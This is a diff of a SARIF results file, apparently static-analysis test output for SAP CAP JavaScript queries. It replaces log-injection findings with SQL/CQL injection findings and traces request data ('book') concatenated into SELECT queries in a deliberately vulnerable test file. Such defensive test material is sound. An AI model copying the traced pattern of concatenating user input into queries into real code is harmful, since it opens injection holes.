       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 30
+            "index" : 1
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 32,
-            "endColumn" : 45
+            "startLine" : 18,
+            "startColumn" : 37,
+            "endColumn" : 43
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
-        "primaryLocationStartColumnFingerprint" : "23"
+        "primaryLocationLineHash" : "967d7be3edc97a9e:1",
+        "primaryLocationStartColumnFingerprint" : "30"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20964,126 +21164,198 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 30
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startLine" : 17,
+                  "startColumn" : 53,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 45,
+                  "endColumn" : 57
+                }
+              },
+              "message" : {
+                "text" : "'ID=' + book"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 20,
+                  "endColumn" : 58
+                }
+              },
+              "message" : {
+                "text" : "SELECT. ... + book)"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 11,
+                  "endColumn" : 58
+                }
+              },
+              "message" : {
+                "text" : "query2"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 37,
+                  "endColumn" : 43
+                }
+              },
+              "message" : {
+                "text" : "query2"
               }
             }
           } ]
@@ -21093,14 +21365,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 30
+            "index" : 1
           },
           "region" : {
-            "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -21108,34 +21380,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 37
+            "index" : 1
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 32,
-            "endColumn" : 45
+            "startLine" : 20,
+            "startColumn" : 27,
+            "endColumn" : 65
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
-        "primaryLocationStartColumnFingerprint" : "23"
+        "primaryLocationLineHash" : "1c132adaa6986472:1",
+        "primaryLocationStartColumnFingerprint" : "20"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -21143,400 +21415,395 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startLine" : 20,
+                  "startColumn" : 60,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startLine" : 20,
+                  "startColumn" : 52,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "'ID=' + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 20,
+                  "startColumn" : 27,
+                  "endColumn" : 65
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "SELECT. ... + book)"
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-sql-injection",
+      "rule" : {
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "This query depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 28,
+            "startColumn" : 39,
+            "endColumn" : 42
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "144d55d233768c80:1",
+        "primaryLocationStartColumnFingerprint" : "32"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "messageToPass"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
-                }
-              },
-              "message" : {
-                "text" : "messageToPass"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 36
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
-                }
-              },
-              "message" : {
-                "text" : "{ messageToPass }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
-                },
-                "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
-                }
-              },
-              "message" : {
-                "text" : "msg"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startLine" : 27,
+                  "startColumn" : 59,
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
+                  "startLine" : 27,
                   "startColumn" : 17,
-                  "endColumn" : 30
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "CQL`SEL ...  + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startLine" : 27,
+                  "startColumn" : 11,
+                  "endColumn" : 63
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "cqn"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 37
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startLine" : 28,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "cqn"
               }
             }
           } ]
@@ -21546,31 +21813,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 37
-          },
-          "region" : {
-            "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      }, {
-        "id" : 2,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 36
+            "index" : 1
           },
           "region" : {
-            "startLine" : 6,
-            "startColumn" : 33,
-            "endColumn" : 36
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -21578,34 +21828,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 47
+            "index" : 1
           },
           "region" : {
-            "startLine" : 9,
-            "startColumn" : 32,
-            "endColumn" : 45
+            "startLine" : 31,
+            "startColumn" : 39,
+            "endColumn" : 43
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
-        "primaryLocationStartColumnFingerprint" : "23"
+        "primaryLocationLineHash" : "1cd6f1adc2ef8f7c:1",
+        "primaryLocationStartColumnFingerprint" : "32"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -21613,14 +21863,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
@@ -21631,14 +21881,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
@@ -21649,14 +21899,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
@@ -21667,346 +21917,645 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 43
+                  "index" : 1
                 },
